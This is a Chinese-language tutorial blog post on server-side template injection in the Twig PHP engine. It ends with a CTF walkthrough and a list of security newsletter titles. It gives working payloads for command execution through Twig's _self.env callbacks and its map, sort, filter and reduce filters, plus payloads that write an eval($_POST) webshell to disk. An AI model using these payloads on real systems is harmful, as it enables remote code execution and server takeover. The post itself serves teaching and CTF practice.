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以Twig模板为例浅学一手SSTI

什么是SSTI SSTI：开局一张图，姿势全靠y SSTI，即服务器端模板注入（Server-Side Template Injection）常见的注入有：SQL 注入，XSS 注入，XPATH 注入，XML 注入，代码注入，命令注入等等。sql注入已经出世很多年了，对于sql注入的概念和原理很多人应该是相当清楚了，SSTI也是注入类的漏洞，其成因其实是可以类比于sql注入的。 sql注入的成因是从用户获得一个输入后，经过后端脚本语言进行数据库查询，这时我们就可以构造输入语句来进行拼接，从而实现我们想要的sql语句 SSTI也是如此，不过SSTI是在服务端接收了输入后，将其作为web应用模板内容的一部分，在进行目标编译渲染的过程中，将恶意语句进行了拼接，因此可能造成敏感信息泄露、代码执行、getshell等问题在这我会简单以常见的Twig模板引擎进行演示，有所遗漏错误，欢迎各位师傅们进行补充纠正模板引擎模板是一种提供给程序进行解析的一种语法，从初始数据到实际的视觉表达靠的就是这一项工作所实现的，且这种手段是同时存在于前后端的常见的模板引擎有 1.php 常用的 Smarty Smarty算是一种很老的PHP模板引擎了，非常的经典，使用的比较广泛 Twig Twig是来自于Symfony的模板引擎，它非常易于安装和使用。它的操作有点像Mustache和liquid。 Blade Blade 是 Laravel 提供的一个既简单又强大的模板引擎。和其他流行的 PHP 模板引擎不一样，Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来，除非它被修改，否则不会重新编译，这就意味着 Blade基本上不会给你的应用增加任何额外负担。 2.Java 常用的 JSP 这个引擎我想应该没人不知道吧，这个应该也是我最初学习的一个模板引擎，非常的经典 FreeMarker FreeMarker是一款模板引擎：即一种基于模板和要改变的数据，并用来生成输出文本（HTML网页、电子邮件、配置文件、源代码等）的通用工具。它不是面向最终用户的，而是一个Java类库，是一款程序员可以嵌入他们所开发产品的组件。 Velocity Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎，而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。 3.Python 常用的 Jinja2 flask jinja2 一直是一起说的，使用非常的广泛，是我学习的第一个模板引擎 django django 应该使用的是专属于自己的一个模板引擎，我这里姑且就叫他 django，我们都知道django 以快速开发著称，有自己好用的ORM，他的很多东西都是耦合性非常高的，你使用别的就不能发挥出 django 的特性了 tornado tornado 也有属于自己的一套模板引擎，tornado 强调的是异步非阻塞高并发形形色色的模板引擎为了达到渲染效果，总会对用户输入有所处理，这也就给攻击者提供了道路，尽管模板引擎也会相应提供沙箱机制进行保护，但是也存在沙箱逃逸技术可以进行绕过攻击思路找到模板是什么模板引擎，是哪个版本的，然后设法利用模板的内置方法，进行rce、getshell PHP-Twig Twig 被许多开源项目使用，比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM；许多框架也支持 Twig，比如 Slim、Yii、Laravel 和 Codeigniter 等等。本地复现可以用composer搭建在Twig引擎中，我们可以通过下面方法获得一些关于当前应用的信息（虽然经常会被ban就是...） {{_self}} #指向当前应用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} 基础语法模板其实就是一个文本文件，它可以生成我们需要的任何基于文本的格式文件（html、xml、csv等）它也没有特别的拓展后缀名，.html、.xml、.twig都可这里主要讲一些我们在利用时会用到的基础知识变量应用程序将变量传入模板中进行处理，变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性（方法或 PHP 对象的属性，或 PHP 数组单元），Twig还支持访问PHP数组上的项的特定语法， foo['bar'] ： {{ foo.bar }} {{ foo['bar'] }} 全局变量模板中始终提供以下变量： _self ：引用当前模板名称；（在twig1.x和2.x/3.x作用不一） _context ：引用当前上下文； _charset ：引用当前字符集。设置变量可以为代码块内的变量赋值。赋值使用set标签： {% set foo = 'foo' %} {% set foo = [1, 2] %} {% set foo = {'foo': 'bar'} %} 过滤器变量可以修改为过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。下面的示例从 name 标题是： {{ name|striptags|title }}接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素： {{ list|join }} {{ list|join(', ') }} // {{ ['a', 'b', 'c']|join }} // Output: abc // {{ ['a', 'b', 'c']|join('|') }} // Output: a|b|c若要对代码部分应用筛选器，请使用apply标签： {% apply upper %} This text becomes uppercase {% endapply %}过滤器有很多，但是我们常用的一般就map、sort、filter、reduce 更多内置过滤器请参考：https://twig.symfony.com/doc/3.x/filters/index.html 控制结构控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环，以及程序块之类的东西。控制结构出现在 {{% ... %}} 中例如，要显示在名为 users 使用for标签： <h1>Members</h1> <ul> {% for user in users %} <li>{{ user.username|e }}</li> {% endfor %} </ul>if标记可用于测试表达式： {% if users|length > 0 %} <ul> {% for user in users %} <li>{{ user.username|e }}</li> {% endfor %} </ul> {% endif %}更多 tags 请参考：https://twig.symfony.com/doc/3.x/tags/index.html 函数在 Twig 模板中可以直接调用函数，用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表： {% for i in range(0, 3) %} {{ i }}, {% endfor %} // Output: 0, 1, 2, 3, 更多内置函数请参考：https://twig.symfony.com/doc/3.x/functions/index.html 注释要在模板中注释某一行，可以使用注释语法 {# ...#} {# note: disabled template because we no longer use this {% for user in users %} ... {% endfor %} #} 引入其他模板 Twig 提供的 include 函数可以使你更方便地在模板中引入模板，并将该模板已渲染后的内容返回到当前模板 {{ include('sidebar.html') }} 模板继承 Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板，该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。从一个例子开始更容易理解这个概念。让我们定义一个基本模板， base.html ，它定义了可用于两列页面的HTML框架文档： <!DOCTYPE html> <html> <head> {% block head %} <link rel="stylesheet" href="style.css"/> <title>{% block title %}{% endblock %} - My Webpage</title> {% endblock %} </head> <body> <div id="content">{% block content %}{% endblock %}</div> <div id="footer"> {% block footer %} © Copyright 2011 by <a href="http://domain.invalid/">you</a>. {% endblock %} </div> </body> </html>在这个例子中，block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。子模板可能如下所示： {% extends "base.html" %} {% block title %}Index{% endblock %} {% block head %} {{ parent() }} <style type="text/css"> .important { color: #336699; } </style> {% endblock %} {% block content %} <h1>Index</h1> <p class="important"> Welcome to my awesome homepage. </p> {% endblock %}其中的 extends 标签是关键所在，其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板，当模板引擎评估编译这个模板时，首先会定位到父模板。由于子模版未定义并重写 footer 块，就用来自父模板的值替代使用了。更多 Twig 的语法请参考：https://twig.symfony.com/doc/3.x/ 1.x 在twig 1.x版本，存在三个全局变量 _self：引用当前模板实例 _context：引用上下文 _charset：引用当前字符集其相对应的代码如下 protected $specialVars = [ '_self' => '$this', '_context' => '$context', '_charset' => '$this->env->getCharset()', ];在twig 1.x中，主要利用的是_self变量，它会返回当前 \Twig\Template 实例，并提供了指向 Twig_Environment 的 env 属性，这样我们就可以继续调用 Twig_Environment 中的其他方法 payload setCache方法 {{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}} 通过调用setCache方法改变twig加载php的路径，在allow_url_include开启的条件下，我们就可以实现远程文件包含 getFilter方法在getFilter方法中存在call_user_func回调函数，通过传入参数我们可以借此调用任意函数 #getFilter public function getFilter($name) { ... foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; } {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} // Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) 但以上漏洞都只存在于1.x，在后续版本中，_self只会返回当前实例名字符串 2.x&3.x 在这里我用twig3.x+php7.3.4作为示例用PHP的API调用twig index.php <?php require_once "./vendor/autoload.php"; $loader = new \Twig\Loader\ArrayLoader([ 'index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader); $template = $twig->createTemplate("Hello {$_GET['name']}!"); echo $template->render();在twig2.x/3.x中，_self不再像1.x时那么有他独特的作用，但是也相应更新了一些特殊方法来供我们利用 map过滤器 map 这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值： {% set people = [ {first: "Bob", last: "Smith"}, {first: "Alice", last: "Dupond"}, ] %} {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} arrow函数还接收密钥作为第二个参数： {% set people = { "Bob": "Smith", "Alice": "Dupond", } %} {{ people|map((last, first) => "#{first} #{last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #} 注意arrow函数可以访问当前上下文。可以看出允许用户传一个arrow 函数，arrow 函数最后会变成一个closure 举个例子当我们传入 {{["man"]|map((arg)=>"hello #{arg}")}}在模板中会被编译为 twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))map所对应的函数如下 function twig_array_map($array $arrow) { $r = []; foreach ($array as $k => $v) { $r[$k] = $arrow($v $k); } return $r; }我们可以看到，传入的 $arrow 直接就被当成函数执行，即 $arrow($v, $k)，而 $v 和 $k 分别是 $array 中的 value 和 key 所以$array和$arrow都是我们可控的，那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce 经过查询，有如下几种常见命令执行函数 system ( string $command [, int &$return_var ] ) : string passthru ( string $command [, int &$return_var ] ) exec ( string $command [, array &$output [, int &$return_var ]] ) : string shell_exec ( string $cmd ) : string有两个参数的函数就上面三种，其对应payload {{["whoami"]|map("system")}} {{["whoami"]|map("passthru")}} {{["whoami"]|map("exec")}} // 无回显但是当上面的都被ban了呢，我们还有没有其他方法rce 当然，例如 file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int当我们找到路径后就可以利用该函数进行写shell了 ?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}} 根据map过滤器的利用思路，我们可以再找到其他类似的，带有$arrow参数的 sort过滤器 sort 这个 sort 筛选器对数组排序： {% for user in users|sort %} ... {% endfor %} 注解在内部，Twig使用PHP https://secure.php.net/asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。您可以传递一个箭头函数来对数组进行排序： {% set fruits = [ { name: 'Apples', quantity: 5 }, { name: 'Oranges', quantity: 2 }, { name: 'Grapes', quantity: 4 }, ] %} {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %} {{ fruit }} {% endfor %} {# output in this order: Oranges, Grapes, Apples #} 注意 spaceship 运算符来简化比较。类似于map，sort在模板编译时也会进入twig_sort_filter 函数 function twig_sort_filter($array, $arrow = null) { if ($array instanceof \Traversable) { $array = iterator_to_array($array); } elseif (!\is_array($array)) { throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array))); } if (null !== $arrow) { uasort($array, $arrow); // 直接被 uasort 调用 } else { asort($array); } return $array; }uasort ( array &$array , callable $value_compare_func ) : bool可以看到，$array 和$arrow直接被uasort调用 uasort会将数组中的元素按照键值进行排序，当我们自定义一个危险函数时，就可能造成rce 这样我们就可以构造payload了 {{["id", 0]|sort("system")}} {{["id", 0]|sort("passthru")}} {{["id", 0]|sort("exec")}} // 无回显 filter过滤器 filter 这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值： {% set sizes = [34, 36, 38, 40, 42] %} {{ sizes|filter(v => v > 38)|join(', ') }} {# output 40, 42 #} 与 for 标记，它允许筛选要迭代的项： {% for v in sizes|filter(v => v > 38) -%} {{ v }} {% endfor %} {# output 40 42 #} 它也适用于映射： {% set sizes = { xs: 34, s: 36, m: 38, l: 40, xl: 42, } %} {% for k, v in sizes|filter(v => v > 38) -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 xl = 42 #} arrow函数还接收密钥作为第二个参数： {% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 #} 注意arrow函数可以访问当前上下文。类似于map，filter在模板编译时也会进入twig_array_filter 函数 function twig_array_filter($array, $arrow) { if (\is_array($array)) { return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用 } // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow); } array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array可以看到和前面方法类似，我们实验一下得到payload {{["id"]|filter("system")}} {{["id"]|filter("passthru")}} {{["id"]|filter("exec")}} // 无回显 {{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}} // 和map过滤器一样可以写 Webshell reduce 过滤器 reduce 这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值，从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值： {% set numbers = [1, 2, 3] %} {{ numbers|reduce((carry, v) => carry + v) }} {# output 6 #} 这个 reduce 过滤器需要 initial 值作为第二个参数： {{ numbers|reduce((carry, v) => carry + v, 10) }} {# output 16 #} 注意arrow函数可以访问当前上下文。直接来看函数 function twig_array_reduce($array, $arrow, $initial = null) { if (!\is_array($array)) { $array = iterator_to_array($array); } return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用 } array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed可以看到array_reduce是有三个参数的 $array 和 $arrow 直接被 array_filter 函数调用，我们可以利用该性质自定义一个危险函数从而达到rce 刚开始还是像前面一样构造 {{["id", 0]|reduce("passthru")}}但是发现没有执行成功，原因是第一次调用的是 passthru($initial, "id")因为$initial为null，所以会报错，我们想要对他进行赋值才行 payload {{[0, 0]|reduce("system", "id")}} {{[0, 0]|reduce("passthru", "id")}} {{[0, 0]|reduce("exec", "id")}} // 无回显题目 [BJDCTF2020]Cookie is so stable 进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint 返回访问flag.php 经过简单测试猜测为twig（传入{{7*'7'}}后Jinja2输出7777777，Twig输出49）同时发现在cookie是我们的输入点，开始查看是什么版本的twig，用_self来测试 cookie user：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} twig1.x，我们直接cat /flag试试 cookie user：{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 基本思路还是测试出为哪个模板，哪个版本，测试payload即可后言 SSTI 并不广泛存在，但如果开发人员滥用模板引擎，那么就很有可能出现SSTI，并且根据其模板引擎的复杂性和开发语言的特性，很大几率会出现非常严重的问题联想到最近的log4j2漏洞，与SSTI类似，都是将用户的输入当作可信任内容，这才出现了大大小小的安全问题一句话总结：永远不要相信用户的输入

网络安全日报 2021年12月17日

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网络安全日报 2021年12月16日

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网络安全日报 2021年12月15日

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Java Agent学习

网络安全日报 2021年12月14日

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网络安全日报 2021年12月13日

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网络安全日报 2021年12月10日

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网络安全日报 2021年12月09日

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网络安全日报 2021年12月08日

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